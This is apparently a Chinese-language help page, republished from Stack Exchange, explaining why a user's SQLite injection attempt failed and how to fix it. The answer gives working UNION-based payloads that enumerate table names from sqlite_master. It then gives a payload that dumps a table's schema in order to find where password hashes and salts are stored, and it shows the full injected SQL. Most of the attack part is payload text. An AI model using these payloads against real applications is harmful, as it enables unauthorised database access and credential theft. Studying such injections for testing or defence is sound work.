You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何此SQL注入攻击无效?需获取用户表信息的技术求助

解决SQLite注入获取表名失败的问题

首先,你的注入payload失效主要有两个核心原因,咱们一步步拆解:

1. UNION查询列数不匹配

原SQL查询返回6列(id, name, color, planttype, potsize, shared),但你的UNION ALL SELECT name FROM sqlite_master...只返回1列。SQLite对UNION操作的列数要求严格,列数不一致会直接导致查询报错,注入自然无法生效。

2. 冗余条件导致字段错误

你payload里的OR username = 1是多余的——原plants表很可能没有username字段,这会触发"no such column: username"的错误,直接中断查询。


修正后的注入Payload

针对这两个问题,调整后的payload应该:

  • 匹配原查询的6列数(用NULL填充多余列)
  • 简化条件,直接闭合LIKE语句并发起UNION

示例payload:

%" UNION ALL SELECT name, NULL, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type='table'; -- 

拼接后的完整SQL(示例)

假设req.user.get('id')是123,拼接后SQL会变成:

SELECT id , name , color , planttype , potsize , shared FROM plants WHERE user_id = 123 AND name LIKE "%%" UNION ALL SELECT name, NULL, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type='table'; -- %"

这里:

  • LIKE "%%"会匹配所有plants表的记录(或者直接让这部分条件为真)
  • UNION ALL追加sqlite_master中的表名,用NULL填充原查询的5个多余列
  • -- 注释掉后面的%",避免语法错误

额外注意事项

  • 如果后续要定位哈希/盐的存储字段,还可以调整payload查询表结构:
    %" UNION ALL SELECT sql, NULL, NULL, NULL, NULL, NULL FROM sqlite_master WHERE type='table' AND name='目标表名'; -- 
    
  • 默认情况下SQLite允许访问sqlite_master,如果遇到权限问题,需要确认目标环境是否有特殊配置限制

内容的提问来源于stack exchange,提问作者Masa

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.07 07:53:10